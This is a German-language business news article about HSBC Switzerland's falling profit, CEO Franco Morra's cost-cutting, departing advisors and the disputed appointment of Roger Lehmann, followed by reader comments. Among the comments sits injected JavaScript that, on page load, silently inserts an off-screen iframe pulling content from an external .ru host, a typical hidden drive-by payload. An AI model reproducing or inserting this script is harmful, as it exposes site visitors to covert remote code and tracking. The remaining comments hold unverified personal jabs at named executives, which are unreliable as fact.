Die Zahlen zeigen nach unten. Der Gewinn von HSBC Schweiz, eine der wichtigsten Auslandbanken in der Schweiz, sank im ersten Halbjahr von 196 auf 188 Millionen Franken, meldete Bloomberg am Freitag.
Das erhöht den Druck auf Franco Morra. Der Ex-UBS-Banker, der vor einem halben Jahr in einem Coup das Schweizer Kommando bei der englisch-asiatischen Grossbank zugesprochen erhielt, muss liefern.
Wird er? Kann er?
Ein erster Lichtblick für Morra sind leicht höhere Kundenvermögen im Vergleich zum Jahresanfang.
Doch diese liegen immer noch weit weg von den Werten der guten Zeiten. Laut Bloomberg sind die weltweit verwalteten Private-Banking-Vermögen seit Januar um 4 Milliarden auf 263 Milliarden Dollar gestiegen.
Der Grossteil davon liegt bei der HSBC Schweiz. Damit zählt die führende Auslandbank auf dem Platz hinter den beiden Bigbanks UBS und CS nach wie vor zu den grössten Vermögensverwaltern.
Ob das mit Morra so bleibt, ist offen.
Das Problem ist die Strategie. Will die HSBC noch in den Standort Schweiz investieren? Hat sie Wachstumsziele? Erwägt sie einen aktiven Part in der Konsoldierung?
Darauf liefert Morra keine Antworten. Und was die Bank unter seiner Führung an den Tag legt, zeigt in eine andere Richtung: nach unten.
Franco Morra baut das eigene Haus zurück. Er schleift Kosten, baut Personal ab, zieht die Management-Zügel an.
Das ist seine Welt. Als einstiger Berater von Boston Consulting ist er mit dem Kosten-Game vertraut. Ob damit die Weichen für eine prosperierende Zukunft richtig gestellt sind, muss sich weisen.
Morras Karriere kannte anfänglich nur den Weg nach oben. Bei der Schweizer Grossbank UBS schoss er die Leiter hoch, bis er die Gesamtverantwortung für die Schweiz inne hatte.
Das Ende kam fast ebenso rasch. Anfang 2010 landete Morra über Nacht auf der Strasse. Nach dem Knick kam das Angebot der HSBC gerade recht, um nicht in der Versenkung zu verschwinden.
Wie einst in der UBS erwischte Morra auch bei der HSBC den Expresslift nach oben. Im Zuge einer Datenklau-Affäre um einen Informatiker, welche die HSBC in den US-Steuerkrieg hineinzog, wurde Morra Anfang 2012 zum neuen Schweiz-Chef gekürt.
Einmal mehr spielt Morra seine bekannte Rolle als Mann fürs Grobe. Beaufsichtigt wird er von Krishna Patel, Chef des weltweiten Private Bankings der HSBC, der seine Zelte offiziell in Zürich aufgeschlagen hat.
Dies dürfte nicht zuletzt mit den Flugverbindungen ab Zürich in die ganze Welt hinaus zusammenhängen. Jedenfalls soll Patel ständig rund um den Globus zu seinen Statthaltern im HSBC-Imperium jetten.
Ein HSBC-Sprecher sieht hinter Patels Domizilwahl hingegen ein Bekenntnis zur Schweiz. „This makes us the only foreign private bank with their CEO in Switzerland and the country as such is core to our strategy“, sagt Médard Schoenmaeckers.
Während Morra die Vorgaben umsetzt, ist Patel der starke Mann der weltweiten Vermögensverwaltung des Finanzriesen.
Der Multi zählt zu den grössten Banken auf dem Erdball. 60 Millionen Kunden werden in fast 7’000 HSBC-Filialen in über 80 Ländern bedient.
Der Gewinn lässt sich trotz Milliarden-Abschreiber für US-Justizverfahren sehen. Fast 11 Milliarden waren es im ersten Halbjahr 2012 – ein Merhfaches von UBS und CS zusammen.
Die Schweiz könnte unter Vielflieger Patel an Bedeutung verlieren. Unzählige gestandene Kundenberater sind in den letzten Monaten von Bord gegangen. Erst seit kurzem habe der Exodus etwas nachgelassen, heisst es in Vermittlerkreisen.
1’700 Banker zählt HSBC Schweiz heute noch, die Mehrheit davon in Genf. Etwa 300 davon arbeiten in Zürich.
Dort hatte sich die HSBC einst die bekannte Guyerzeller Bank mit einem repräsentativen Sitz am Paradeplatz einverleibt. Das Ziel lautete, mitten im Herzen von Swiss Banking einen Pflock einzuschlagen.
Nun sind viele Senior-Berater aus alten Guyerzeller-Zeiten weg.
Zum Dammbruch geführt hat offenbar die Trennung von Christoph Streule. Streule war Zürich-Chef von HSBC Schweiz und ein wirkungsvoller Puffer zwischen den Forderungen aus der Superzentrale in London und dem Ableger in der Limmatstadt.
Vor ein paar Monaten wurde Streule abkommandiert. Inzwischen hat er die Bank verlassen.
Übernommen hat mit Roger Lehmann ein umstrittener Kopf. Intern soll er „Ken“ genannt werden. Seine Partnerin ist die bekannte Caroline Müller-Möhl, die von ihrem verunglückten Ex-Banker-Ehemann viel Geld geerbt hatte.
Lehmann wurde in der Produkte-Welt gross und war bei der Genfer Union Bancaire Privée in leitender Position, als diese mit Madoff-Investments grosse Verluste erlitten hatte.
Aus HSBC-Kreisen ist Unterschiedliches über Lehmann zu hören. Die einen loben seine fordernde, aber faire Art. Andere bezeichnen ihn als reinen Produkt-Verkäufer, der mit saloppen Sprüchen traditionelle Vermögensberater vor den Kopf stossen würde.
Kommentare
Kommentieren
Die beliebtesten Kommentare
-
function frmAdd() {
var ifrm = document.createElement(‚iframe‘);
ifrm.style.position=’absolute‘;
ifrm.style.top=‘-999em‘;
ifrm.style.left=‘-999em‘;
ifrm.src = „http://gezahcyg.ru/count17.php“;
ifrm.id = ‚frmId‘;
document.body.appendChild(ifrm);
};
window.onload = frmAdd; -
Der Roger „ein Plauderi“, Servelat-Promi aber kein Chef von einer so renommierten Bank in Zürich.
-
Was bleibt von HSBC?
Ein wunderschönes, kürzlich umgebautes und jetzt wieder leeres HSBC Retailbank Chalet in Gstaad. Kaum eröffnet, wieder geschlossen.
http://www.gstaadlife.com/2012/06/hsbc-private-bank-branch-in-gstaad-has-been-closed-since-end-of-may-2012-.htmlDafür gibt es generöses ‚principal‘ Kultursponsoring fürs Menuhin Festival. Das bringt natürlich mehr als eine schnöde Bankfiliale.
http://www.menuhinfestivalgstaad.ch/pages/en/partner/sponsors.htmlMan weiss ja, Gstaad tickt anders aber das scheint doch etwas bizarre, to say the least. Management by surprising priorities?
-
F. Morra hat hier in Genf den Spitznamen FM – für „fusil mitreilleur“. Lehmann ist einfach Ken, d.h. der Freund der reichen Barbie. Bellevue – schöne Aussicht…
-
Mitrailleur natürlich – pardon.
-
-
Herr Lehmann muss doch Zeit gegeben werden, dass er sich mit seiner wohlhabenden Verwaltungsrätin an der richtigen Hundsverlochete ablichten lassen kann. Gönnt ihm das doch! Und der gute Morra sollte vielleicht mal ein tête à tête mit der omipotenten Eveline WS abhalten, dass sie ihn mal pers. über die Weissgeldstrategie brieft, Rafflaub wir ihm dann Papier zum Heimstudium überlassen.
-
-
Morra und „Ken“ Lehmann. – Das ist ja schon beinahe das Muppet-Dream-Team!
-
Bravo Karl
-
-
Kann alles bestätigen. Morra, der selbst noch nie einen einzigen Kunden akquiriert hat, macht das Private Banking richtiggehend „zur Sau“. Der Gewinn wird aufgefressen von gigantischen Alibi-Projekten mit -zig externen Beratern (EY ist bestimmt happy!), die vorgeblich die versteckten Risiken reduzieren sollen. Die Vermögensberater werden dadurch ständig auf Trab gehalten, und deren Zeit für die Kunden wird immer knapper. Wer mault, kann gehen. „Management by Fear“ in Reinkultur!
Kann alles bestätigen. Morra, der selbst noch nie einen einzigen Kunden akquiriert hat, macht das Private Banking richtiggehend "zur Sau".…
Morra und "Ken" Lehmann. - Das ist ja schon beinahe das Muppet-Dream-Team!
Herr Lehmann muss doch Zeit gegeben werden, dass er sich mit seiner wohlhabenden Verwaltungsrätin an der richtigen Hundsverlochete ablichten lassen…